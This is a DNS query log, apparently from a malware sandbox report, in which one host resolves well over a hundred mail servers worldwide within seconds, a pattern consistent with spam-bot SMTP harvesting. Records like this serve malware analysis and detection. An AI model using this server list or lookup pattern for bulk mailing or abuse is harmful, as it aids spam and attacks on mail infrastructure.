Jun 4, 2024 23:10:27.949310064 CEST	1.1.1.1	192.168.2.11	0xbaf1	No error (0)	smtp2016.ucalgary.ca		136.159.19.168	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.022381067 CEST	1.1.1.1	192.168.2.11	0x2263	No error (0)	mail.hot.ee	imap.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:28.022381067 CEST	1.1.1.1	192.168.2.11	0x2263	No error (0)	imap.dka.mailcore.net		194.19.134.85	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.022381067 CEST	1.1.1.1	192.168.2.11	0x2263	No error (0)	imap.dka.mailcore.net		185.138.56.213	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.053940058 CEST	1.1.1.1	192.168.2.11	0xee76	No error (0)	out.essentiallifeskills.com		103.224.182.246	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.057919979 CEST	1.1.1.1	192.168.2.11	0x9a5d	Name error (3)	out.it2i.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.313165903 CEST	1.1.1.1	192.168.2.11	0x22a9	No error (0)	smtp.bbox.fr		194.158.122.55	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.361988068 CEST	1.1.1.1	192.168.2.11	0xb935	No error (0)	smtp.virgilio.it	out.virgilio.it		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:28.361988068 CEST	1.1.1.1	192.168.2.11	0xb935	No error (0)	out.virgilio.it		213.209.1.145	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.447736979 CEST	1.1.1.1	192.168.2.11	0x1cd6	No error (0)	temporary-mail.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.447736979 CEST	1.1.1.1	192.168.2.11	0x1cd6	No error (0)	temporary-mail.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.463207006 CEST	1.1.1.1	192.168.2.11	0xf59a	No error (0)	jcmeijers-com.mail.protection.outlook.com		52.101.68.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.463207006 CEST	1.1.1.1	192.168.2.11	0xf59a	No error (0)	jcmeijers-com.mail.protection.outlook.com		52.101.73.12	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.463207006 CEST	1.1.1.1	192.168.2.11	0xf59a	No error (0)	jcmeijers-com.mail.protection.outlook.com		52.101.68.27	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.463207006 CEST	1.1.1.1	192.168.2.11	0xf59a	No error (0)	jcmeijers-com.mail.protection.outlook.com		52.101.68.15	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.473129988 CEST	1.1.1.1	192.168.2.11	0xfeae	Name error (3)	secure.cipassce.191.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.598345995 CEST	1.1.1.1	192.168.2.11	0x424d	No error (0)	pec.it		62.149.188.200	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.927608967 CEST	1.1.1.1	192.168.2.11	0x8f0b	Name error (3)	secure.smybilisim.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.961646080 CEST	1.1.1.1	192.168.2.11	0xf514	No error (0)	psp21.radom.pl		188.128.207.134	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.043250084 CEST	1.1.1.1	192.168.2.11	0xc45c	No error (0)	smtp.ctmusic.us	smtp.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:29.043250084 CEST	1.1.1.1	192.168.2.11	0xc45c	No error (0)	smtp.secureserver.net		92.204.80.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.045440912 CEST	1.1.1.1	192.168.2.11	0x40f7	Name error (3)	out.peakperform.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.102680922 CEST	1.1.1.1	192.168.2.11	0x1b09	Name error (3)	securesmtp.mundoopen.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.197299957 CEST	1.1.1.1	192.168.2.11	0x8468	No error (0)	mx00.ionos.com		74.208.5.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.252656937 CEST	1.1.1.1	192.168.2.11	0xdd27	Server failure (2)	out.aguascalientes.gob.mx	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.252676010 CEST	1.1.1.1	192.168.2.11	0xdd27	Server failure (2)	out.aguascalientes.gob.mx	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.252690077 CEST	1.1.1.1	192.168.2.11	0xdd27	Server failure (2)	out.aguascalientes.gob.mx	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.253671885 CEST	1.1.1.1	192.168.2.11	0x12e	No error (0)	jcl1.com		64.29.145.9	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.381834030 CEST	1.1.1.1	192.168.2.11	0xee7b	No error (0)	gadball.com		216.23.176.68	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.407623053 CEST	1.1.1.1	192.168.2.11	0x550c	Name error (3)	mail.feugenia.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.410090923 CEST	1.1.1.1	192.168.2.11	0xb3b7	No error (0)	secure.gpoo.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.416584015 CEST	1.1.1.1	192.168.2.11	0x509c	Name error (3)	flamingo-club.com.ua	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.477309942 CEST	1.1.1.1	192.168.2.11	0x4f41	No error (0)	unicosconstrutora.com.br		45.178.224.186	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.594631910 CEST	1.1.1.1	192.168.2.11	0x3827	No error (0)	gutrading.com		209.59.172.32	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.627643108 CEST	1.1.1.1	192.168.2.11	0xd4ff	Name error (3)	smtp.ctbr.ch	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.696348906 CEST	1.1.1.1	192.168.2.11	0x34db	No error (0)	smtp.inwind.it		213.209.1.147	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.720365047 CEST	1.1.1.1	192.168.2.11	0xadc6	Name error (3)	smtp.kpploa.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.961493015 CEST	1.1.1.1	192.168.2.11	0x8376	No error (0)	mail.i.ua		104.18.3.81	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.961493015 CEST	1.1.1.1	192.168.2.11	0x8376	No error (0)	mail.i.ua		104.18.2.81	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.971782923 CEST	1.1.1.1	192.168.2.11	0xdda0	No error (0)	smtp.bysamia.com.br	pop.bysamia.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:29.971782923 CEST	1.1.1.1	192.168.2.11	0xdda0	No error (0)	pop.bysamia.com.br	mail.ita.locamail.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:29.971782923 CEST	1.1.1.1	192.168.2.11	0xdda0	No error (0)	mail.ita.locamail.com.br		191.252.112.195	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.977807999 CEST	1.1.1.1	192.168.2.11	0x16ef	No error (0)	vrist.dk		91.221.196.240	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.021717072 CEST	1.1.1.1	192.168.2.11	0xa49f	Name error (3)	securesmtp.mshac.kr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.054323912 CEST	1.1.1.1	192.168.2.11	0x3362	No error (0)	zing.vn		49.213.103.199	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.054323912 CEST	1.1.1.1	192.168.2.11	0x3362	No error (0)	zing.vn		49.213.103.198	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.185245037 CEST	1.1.1.1	192.168.2.11	0xfe13	Server failure (2)	mail.proexport.com.co	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.185329914 CEST	1.1.1.1	192.168.2.11	0xfe13	Server failure (2)	mail.proexport.com.co	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.185345888 CEST	1.1.1.1	192.168.2.11	0xfe13	Server failure (2)	mail.proexport.com.co	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.185362101 CEST	1.1.1.1	192.168.2.11	0xfe13	Server failure (2)	mail.proexport.com.co	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.240571022 CEST	1.1.1.1	192.168.2.11	0xaccd	No error (0)	mail.alfasete.net.br	alfasete.net.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:30.240571022 CEST	1.1.1.1	192.168.2.11	0xaccd	No error (0)	alfasete.net.br		92.249.45.70	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.254055023 CEST	1.1.1.1	192.168.2.11	0xadb3	No error (0)	mail.mc.net		209.172.128.24	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.282027960 CEST	1.1.1.1	192.168.2.11	0x277f	No error (0)	mail6.lhotellerie.fr		194.250.155.101	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.380737066 CEST	1.1.1.1	192.168.2.11	0x2c58	Name error (3)	secure.fotobubbles.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.507457972 CEST	1.1.1.1	192.168.2.11	0xa66	No error (0)	mx.b.locaweb.com.br		177.153.23.242	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.526340961 CEST	1.1.1.1	192.168.2.11	0xaedc	Name error (3)	securesmtp.lindoiashopping.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.634979963 CEST	1.1.1.1	192.168.2.11	0x3f51	No error (0)	javs.com		172.67.203.63	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.634979963 CEST	1.1.1.1	192.168.2.11	0x3f51	No error (0)	javs.com		104.21.44.192	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.803771973 CEST	1.1.1.1	192.168.2.11	0x461a	Name error (3)	smtp.xplore.be	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.892777920 CEST	1.1.1.1	192.168.2.11	0x70a2	Name error (3)	mail.myespace.com.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.899338007 CEST	1.1.1.1	192.168.2.11	0xd765	No error (0)	magenta.de		217.6.164.11	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.049128056 CEST	1.1.1.1	192.168.2.11	0x4b6d	No error (0)	bigpond.net.au		139.134.5.153	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.053127050 CEST	1.1.1.1	192.168.2.11	0x6b03	No error (0)	mail.optonline.net	mail.altice.prod.cloud.openwave.ai		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:31.053127050 CEST	1.1.1.1	192.168.2.11	0x6b03	No error (0)	mail.altice.prod.cloud.openwave.ai		65.20.63.172	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.058897972 CEST	1.1.1.1	192.168.2.11	0xf917	Name error (3)	securesmtp.jones.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.101203918 CEST	1.1.1.1	192.168.2.11	0xcaa6	No error (0)	signmaq.com.br		52.117.251.242	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.240271091 CEST	1.1.1.1	192.168.2.11	0x1ba8	Name error (3)	mail.77wyx13uew.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.261749029 CEST	1.1.1.1	192.168.2.11	0xbd8f	Name error (3)	securesmtp.puertohuelva.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.323585033 CEST	1.1.1.1	192.168.2.11	0xca76	Server failure (2)	out.logoshines.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.323596954 CEST	1.1.1.1	192.168.2.11	0xca76	Server failure (2)	out.logoshines.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.323625088 CEST	1.1.1.1	192.168.2.11	0xca76	Server failure (2)	out.logoshines.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.412319899 CEST	1.1.1.1	192.168.2.11	0xb53f	No error (0)	kefgames.net		72.52.178.23	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.678811073 CEST	1.1.1.1	192.168.2.11	0xca76	Server failure (2)	out.logoshines.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.681930065 CEST	1.1.1.1	192.168.2.11	0x1ae7	Name error (3)	itelefonica.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.704521894 CEST	1.1.1.1	192.168.2.11	0xb6bb	Name error (3)	out.nucci.site	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.722455025 CEST	1.1.1.1	192.168.2.11	0x9307	Name error (3)	mail.babydomik.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.760135889 CEST	1.1.1.1	192.168.2.11	0x40fd	Name error (3)	out.tpscomputers.com.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.767857075 CEST	1.1.1.1	192.168.2.11	0x4202	No error (0)	mx4.pub.mailpod9-cph3.one.com		185.164.14.124	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.890157938 CEST	1.1.1.1	192.168.2.11	0xa9c4	Name error (3)	mail.delgado-meyer-avocats.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.902183056 CEST	1.1.1.1	192.168.2.11	0x9c3e	Name error (3)	mail.flowtec.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.933330059 CEST	1.1.1.1	192.168.2.11	0xb541	Name error (3)	mail.hgdg.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.963341951 CEST	1.1.1.1	192.168.2.11	0x2bd7	Name error (3)	secure.workerhands.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.014889956 CEST	1.1.1.1	192.168.2.11	0x352f	No error (0)	digible.in		68.178.150.105	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.030510902 CEST	1.1.1.1	192.168.2.11	0x8a6f	No error (0)	mail.zedin.fr	zedin.fr		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:32.030510902 CEST	1.1.1.1	192.168.2.11	0x8a6f	No error (0)	zedin.fr		90.127.113.58	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.121407032 CEST	1.1.1.1	192.168.2.11	0xdc5d	No error (0)	smtp.superig.com.br	smtp-ha.skymail.net.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:32.121407032 CEST	1.1.1.1	192.168.2.11	0xdc5d	No error (0)	smtp-ha.skymail.net.br		168.0.132.203	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.142718077 CEST	1.1.1.1	192.168.2.11	0x8f00	No error (0)	newfeet.co.uk		76.223.67.189	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.142718077 CEST	1.1.1.1	192.168.2.11	0x8f00	No error (0)	newfeet.co.uk		13.248.213.45	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.273715973 CEST	1.1.1.1	192.168.2.11	0x6c11	No error (0)	mark-e.de		185.60.37.18	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.315010071 CEST	1.1.1.1	192.168.2.11	0x28b2	Name error (3)	mail.hooevents.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.362224102 CEST	1.1.1.1	192.168.2.11	0x3e4a	Name error (3)	out.callplus.tn	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.510365009 CEST	1.1.1.1	192.168.2.11	0x48be	No error (0)	mail.sabie.com.br	sabie.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:32.510365009 CEST	1.1.1.1	192.168.2.11	0x48be	No error (0)	sabie.com.br		69.10.55.154	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.576227903 CEST	1.1.1.1	192.168.2.11	0x52de	Name error (3)	out.ultratempo.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.692059040 CEST	1.1.1.1	192.168.2.11	0xef09	Name error (3)	out.steglers.dk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.779130936 CEST	1.1.1.1	192.168.2.11	0xf390	Name error (3)	smtp.displaymax.co.th	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.807387114 CEST	1.1.1.1	192.168.2.11	0xa1de	No error (0)	sky.com		90.216.128.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.808947086 CEST	1.1.1.1	192.168.2.11	0xda1f	No error (0)	mx2.emailsrvr.com		173.203.187.2	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.814058065 CEST	1.1.1.1	192.168.2.11	0xebea	Name error (3)	mail.blueps.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.819251060 CEST	1.1.1.1	192.168.2.11	0xa211	No error (0)	oi.com.br		187.6.211.40	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.947865009 CEST	1.1.1.1	192.168.2.11	0xfc10	Name error (3)	resfest.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.098545074 CEST	1.1.1.1	192.168.2.11	0x8ea4	No error (0)	usherbrooke.ca		132.210.7.145	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.124162912 CEST	1.1.1.1	192.168.2.11	0x79aa	Name error (3)	secure.piepmeyer.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.142518997 CEST	1.1.1.1	192.168.2.11	0x69ae	No error (0)	obrademaria.com.br		198.58.116.74	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.216586113 CEST	1.1.1.1	192.168.2.11	0x7e30	Name error (3)	out.axtron-milieuconsult.be	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.227091074 CEST	1.1.1.1	192.168.2.11	0x17c5	No error (0)	stib-brussels.mail.protection.outlook.com		52.101.68.27	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.227091074 CEST	1.1.1.1	192.168.2.11	0x17c5	No error (0)	stib-brussels.mail.protection.outlook.com		52.101.73.19	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.227091074 CEST	1.1.1.1	192.168.2.11	0x17c5	No error (0)	stib-brussels.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.227091074 CEST	1.1.1.1	192.168.2.11	0x17c5	No error (0)	stib-brussels.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.237235069 CEST	1.1.1.1	192.168.2.11	0xda8e	No error (0)	smtp.novavision-m.com	smtp.menara.ma		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:33.237235069 CEST	1.1.1.1	192.168.2.11	0xda8e	No error (0)	smtp.menara.ma		196.217.246.121	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.359793901 CEST	1.1.1.1	192.168.2.11	0xb015	Name error (3)	lanarkshire.scot.n	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.360050917 CEST	1.1.1.1	192.168.2.11	0x8587	Name error (3)	secure.fundy.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.523827076 CEST	1.1.1.1	192.168.2.11	0x669b	No error (0)	smtp.wvi.de		64.190.63.222	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.773480892 CEST	1.1.1.1	192.168.2.11	0xe963	Name error (3)	out.directtrade.com.eg	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.949116945 CEST	1.1.1.1	192.168.2.11	0xebca	Name error (3)	mail.sobrasiluniformes.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.962852955 CEST	1.1.1.1	192.168.2.11	0x70a4	No error (0)	southampton.gov.uk		194.165.29.35	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.970392942 CEST	1.1.1.1	192.168.2.11	0xa72e	No error (0)	aon.at		193.81.82.81	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.148395061 CEST	1.1.1.1	192.168.2.11	0x566a	No error (0)	aspmx2.googlemail.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.150425911 CEST	1.1.1.1	192.168.2.11	0xb3f7	Name error (3)	smtp.celluliteanti24.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.151870012 CEST	1.1.1.1	192.168.2.11	0xd2af	Name error (3)	walla.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.392405987 CEST	1.1.1.1	192.168.2.11	0x8c31	No error (0)	lcmtreinamento.com.br		162.241.203.166	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.451881886 CEST	1.1.1.1	192.168.2.11	0x951	Name error (3)	secure.mad4music.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.568444967 CEST	1.1.1.1	192.168.2.11	0x1fff	No error (0)	peoplepc.com		52.147.208.244	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.591101885 CEST	1.1.1.1	192.168.2.11	0x89d8	Name error (3)	securesmtp.unimep.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.599560976 CEST	1.1.1.1	192.168.2.11	0x714a	No error (0)	_dc-mx.b9ce573663af.dbarchitecture.fr		82.165.178.113	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.639802933 CEST	1.1.1.1	192.168.2.11	0x6dec	No error (0)	secure.conteadealtavilla.it		199.59.243.225	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.714350939 CEST	1.1.1.1	192.168.2.11	0xff04	Name error (3)	securesmtp.stcontrol.es	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.739358902 CEST	1.1.1.1	192.168.2.11	0xd356	No error (0)	secure.bigpod.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.739358902 CEST	1.1.1.1	192.168.2.11	0xd356	No error (0)	secure.bigpod.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.847763062 CEST	1.1.1.1	192.168.2.11	0x805f	No error (0)	mail.scarlet.be		193.74.71.25	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.881586075 CEST	1.1.1.1	192.168.2.11	0xe1ef	No error (0)	architech-ca.mail.protection.outlook.com		52.101.190.2	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.881586075 CEST	1.1.1.1	192.168.2.11	0xe1ef	No error (0)	architech-ca.mail.protection.outlook.com		52.101.192.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.881586075 CEST	1.1.1.1	192.168.2.11	0xe1ef	No error (0)	architech-ca.mail.protection.outlook.com		52.101.190.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.881586075 CEST	1.1.1.1	192.168.2.11	0xe1ef	No error (0)	architech-ca.mail.protection.outlook.com		52.101.190.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.881586075 CEST	1.1.1.1	192.168.2.11	0xe1ef	No error (0)	architech-ca.mail.protection.outlook.com		52.101.192.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.881586075 CEST	1.1.1.1	192.168.2.11	0xe1ef	No error (0)	architech-ca.mail.protection.outlook.com		52.101.190.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.027580023 CEST	1.1.1.1	192.168.2.11	0x71b1	No error (0)	tomato.co.uk		75.2.60.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.057897091 CEST	1.1.1.1	192.168.2.11	0x6c8d	Name error (3)	mail.mahmoodalamath.page	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.484817028 CEST	1.1.1.1	192.168.2.11	0xb827	Name error (3)	smtp.pypalt.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.662679911 CEST	1.1.1.1	192.168.2.11	0x1011	No error (0)	messagemarketer.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:35.662679911 CEST	1.1.1.1	192.168.2.11	0x1011	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:35.662679911 CEST	1.1.1.1	192.168.2.11	0x1011	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.662679911 CEST	1.1.1.1	192.168.2.11	0x1011	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.704521894 CEST	1.1.1.1	192.168.2.11	0x99c5	No error (0)	y-cute.jp		163.43.104.165	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.721405029 CEST	1.1.1.1	192.168.2.11	0x5a0f	No error (0)	movilizate.com.co		216.239.36.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.721405029 CEST	1.1.1.1	192.168.2.11	0x5a0f	No error (0)	movilizate.com.co		216.239.34.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.721405029 CEST	1.1.1.1	192.168.2.11	0x5a0f	No error (0)	movilizate.com.co		216.239.38.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.721405029 CEST	1.1.1.1	192.168.2.11	0x5a0f	No error (0)	movilizate.com.co		216.239.32.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.726428986 CEST	1.1.1.1	192.168.2.11	0x7b6a	No error (0)	mx.free-lesbian-pic.in		104.131.176.42	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.729981899 CEST	1.1.1.1	192.168.2.11	0x96ab	Name error (3)	smtp.amazingsecretbargains.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.736020088 CEST	1.1.1.1	192.168.2.11	0x64b2	Server failure (2)	out.worrall.fsbusiness.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.795407057 CEST	1.1.1.1	192.168.2.11	0x9f3d	Server failure (2)	securesmtp.eventosypromociones.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.992654085 CEST	1.1.1.1	192.168.2.11	0x75ef	No error (0)	smtp.citromail.hu	smtp.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:35.992654085 CEST	1.1.1.1	192.168.2.11	0x75ef	No error (0)	smtp.dka.mailcore.net		185.138.56.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.992654085 CEST	1.1.1.1	192.168.2.11	0x75ef	No error (0)	smtp.dka.mailcore.net		194.19.134.66	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.093205929 CEST	1.1.1.1	192.168.2.11	0xba62	No error (0)	warrentiresvc-com.mail.protection.outlook.com		52.101.41.24	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.093205929 CEST	1.1.1.1	192.168.2.11	0xba62	No error (0)	warrentiresvc-com.mail.protection.outlook.com		52.101.9.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.093205929 CEST	1.1.1.1	192.168.2.11	0xba62	No error (0)	warrentiresvc-com.mail.protection.outlook.com		52.101.10.2	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.093205929 CEST	1.1.1.1	192.168.2.11	0xba62	No error (0)	warrentiresvc-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.093205929 CEST	1.1.1.1	192.168.2.11	0xba62	No error (0)	warrentiresvc-com.mail.protection.outlook.com		52.101.41.4	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.093205929 CEST	1.1.1.1	192.168.2.11	0xba62	No error (0)	warrentiresvc-com.mail.protection.outlook.com		52.101.10.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.093205929 CEST	1.1.1.1	192.168.2.11	0xba62	No error (0)	warrentiresvc-com.mail.protection.outlook.com		52.101.41.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.272272110 CEST	1.1.1.1	192.168.2.11	0xf9ab	No error (0)	mx01.ionos.de		217.72.192.67	A (IP address)	IN (0x0001)	false
